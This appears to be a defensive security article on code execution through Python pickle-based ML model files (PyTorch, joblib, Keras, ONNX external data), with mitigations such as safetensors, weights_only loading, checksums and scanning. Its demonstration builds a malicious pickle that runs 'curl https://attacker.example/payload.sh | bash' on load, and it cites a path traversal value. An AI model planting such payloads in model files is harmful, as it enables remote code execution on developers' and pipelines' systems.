AI applications introduce a class of deserialization vulnerability that most security teams haven’t built controls for yet: loading a machine learning model file. A .pkl file, a PyTorch .pt or .pth checkpoint, or a scikit-learn model saved with joblib is not just data — it’s executable code. When Python deserialises it, arbitrary Python executes with the full privileges of the running process.
This is an instance of A08:2021 (Software and Data Integrity Failures), applied to the ML model supply chain. The same deserialization vulnerability class that has produced critical CVEs in Java, PHP, and Ruby applications exists in Python’s pickle module, which underpins the majority of the ML ecosystem.
Why Pickle Is Dangerous
Python’s pickle module serialises arbitrary Python objects by recording the sequence of Python operations needed to reconstruct them. When you call pickle.load(), Python executes those operations. The critical word is “executes.”
A malicious pickle file can call os.system(), subprocess.run(), exec(), or any other Python function — including downloading and running external code. The trick uses pickle’s __reduce__ protocol:
import pickle
import os
class MaliciousModel:
def __reduce__(self):
# This executes when pickle.load() is called on a file containing this object
return (os.system, ("curl https://attacker.example/payload.sh | bash",))
# Create a "model file" that executes a shell command on load
with open("malicious_model.pkl", "wb") as f:
pickle.dump(MaliciousModel(), f)
# Victim loads the "model"
with open("malicious_model.pkl", "rb") as f:
model = pickle.load(f) # ← shell command runs hereThe victim’s code loads what they believe is a trained model. The attacker’s command runs before model is ever assigned. The model file is indistinguishable from a legitimate one without inspecting the serialised bytecode.
Affected Formats and Libraries
PyTorch (.pt, .pth, .bin): PyTorch’s torch.load() uses pickle internally. Any PyTorch checkpoint, model weights file, or state dictionary loaded with torch.load() is vulnerable. This includes models downloaded from Hugging Face Hub that are distributed in the PyTorch native format.
scikit-learn / joblib (.pkl, .joblib): Scikit-learn models are routinely serialised with joblib.dump() and joblib.load(). Both functions use pickle under the hood. A malicious scikit-learn model file exploits the same vector.
Python pickle (.pkl): Any Python object serialised with pickle.dump(), including custom model classes, preprocessing pipelines, vectorisers, and encoders. This covers an enormous fraction of the ML artefact ecosystem.
TensorFlow SavedModel: TensorFlow’s SavedModel format is generally safer — it uses Protocol Buffers for the model graph and separate variable files. However, TensorFlow supports a “legacy” .h5 format via Keras that can contain embedded Python lambdas which are deserialised and executed on load.
ONNX (.onnx): The ONNX format itself is a Protocol Buffer and does not use pickle — the graph definition is safe. However, ONNX models increasingly use “external data” files for large weight tensors. If the ONNX model specifies an external data path using a path traversal (../../../etc/passwd) or a URL pointing to an attacker-controlled server, runtimes that blindly follow these references will load from unintended locations.
Real-World Exploitation Vectors
Supply chain via model registries: Hugging Face Hub, PyTorch Hub, and model marketplaces host hundreds of thousands of model files. A malicious model uploaded to these platforms and downloaded by an unsuspecting developer or CI pipeline executes the payload in the developer’s environment. Hugging Face added malware scanning for pickle files in 2024, but coverage is not exhaustive and community-contributed models are uploaded continuously.
Compromised model cache: ML applications often cache downloaded models locally or in shared network storage. An attacker with write access to the cache path — via a separate vulnerability, a misconfigured volume mount, or path traversal — can substitute a malicious model file that executes on the next load.
CI/CD pipeline targeting: Automated model training and evaluation pipelines load model checkpoints as part of their workflow. Injecting a malicious checkpoint into a pipeline’s storage backend achieves arbitrary code execution in the build environment, which typically has access to credentials for cloud services, container registries, and deployment targets.
Model-as-a-service endpoints: Applications that accept user-uploaded model files for inference or fine-tuning and then load them with torch.load() or joblib.load() are vulnerable to direct user exploitation.
Safer Alternatives
Safetensors
Safetensors is an open format developed by Hugging Face specifically to address pickle’s safety issues. It stores tensor data in a simple binary format with a JSON header describing tensor names, dtypes, and offsets. There is no code execution — the format contains only numerical data.
from safetensors.torch import load_file, save_file
import torch
# Save
tensors = {"weight": model.weight.data, "bias": model.bias.data}
save_file(tensors, "model.safetensors")
# Load
loaded = load_file("model.safetensors")
model.weight.data = loaded["weight"]
model.bias.data = loaded["bias"]Safetensors supports PyTorch, TensorFlow, JAX, NumPy, and PaddlePaddle tensors. Hugging Face’s transformers library defaults to safetensors when available. If you’re distributing or loading transformer models, prefer safetensors files (.safetensors) over .bin files.
ONNX for Inference
For model serving and inference (not training), export models to ONNX and load via ONNX Runtime. ONNX Runtime doesn’t use pickle and the serialisation format is well-specified. The attack surface is primarily the external data reference issue — validate that external data paths are within expected directories before loading.
import onnxruntime as ort
import os
def safe_onnx_load(model_path: str, expected_dir: str):
# Verify the model path is within the expected directory
abs_model = os.path.realpath(model_path)
abs_expected = os.path.realpath(expected_dir)
if not abs_model.startswith(abs_expected):
raise ValueError(f"Model path {model_path} outside expected directory")
return ort.InferenceSession(abs_model)Restrict PyTorch with weights_only=True
PyTorch 2.0 added a weights_only parameter to torch.load(). When set to True, only tensor data is deserialised — Python objects, lambdas, and custom classes are rejected. This is not a complete defence (an attacker can still construct a malicious weights file using allowed tensor types), but it eliminates the most common pickle exploitation vectors.
import torch
# Before (vulnerable):
model_state = torch.load("model.pth")
# After (safer):
model_state = torch.load("model.pth", weights_only=True)PyTorch 2.4+ made weights_only=True the default with a deprecation warning. If you’re on an older version, add it explicitly to every torch.load() call.
Building a Secure Model Loading Pipeline
1. Maintain a private model registry. Don’t download models directly in production from public registries. Mirror approved models to a private registry (Artifactory, Nexus, or a private S3 bucket with controlled write access), scan them before acceptance, and load only from the private registry.
2. Verify checksums before loading. Publish SHA-256 checksums alongside model files. Verify the checksum before loading:
import hashlib
import torch
def load_model_with_checksum(path: str, expected_sha256: str):
sha256 = hashlib.sha256()
with open(path, "rb") as f:
for chunk in iter(lambda: f.read(65536), b""):
sha256.update(chunk)
if sha256.hexdigest() != expected_sha256:
raise ValueError(f"Checksum mismatch for {path}")
return torch.load(path, weights_only=True)3. Scan pickle files before loading. Tools like picklescan and modelscan detect malicious payloads in pickle-based model files without executing them:
pip install modelscan
modelscan --path ./models/ # scans all model files recursivelyIntegrate modelscan into your CI pipeline as a gate on model artefact acceptance.
4. Sandbox model loading. For applications that accept user-uploaded models, load them in a sandboxed environment with no access to credentials, network, or sensitive file paths. Container isolation with dropped capabilities and read-only bind mounts for the model file prevents the most impactful exploitation.
5. Prefer safetensors in internal model distribution. When your team trains and distributes models internally, standardise on safetensors. Update training scripts to save in safetensors format and update model loading code to use load_file() instead of torch.load() or joblib.load().
Detection
For production deployments, detect unexpected process spawning from Python model loading code:
# Wrap torch.load in a context that audits subprocess creation
import subprocess
import threading
_original_popen = subprocess.Popen.__init__
def _patched_popen(self, *args, **kwargs):
# Log or alert on unexpected subprocess creation
import logging
logging.warning(f"Unexpected subprocess: {args}")
_original_popen(self, *args, **kwargs)
subprocess.Popen.__init__ = _patched_popenFor more robust enforcement, use seccomp or eBPF to restrict system calls available during model loading, preventing the execve calls that pickle exploitation depends on.
Summary
The ML model supply chain is the new software supply chain, and pickle is its Log4Shell — a ubiquitous serialisation format with arbitrary code execution baked in by design. Switching to safetensors for weights, using weights_only=True with PyTorch, validating checksums, and scanning model files before loading are the minimum controls for any production ML pipeline. Build them in now, before an upstream model file does it for you.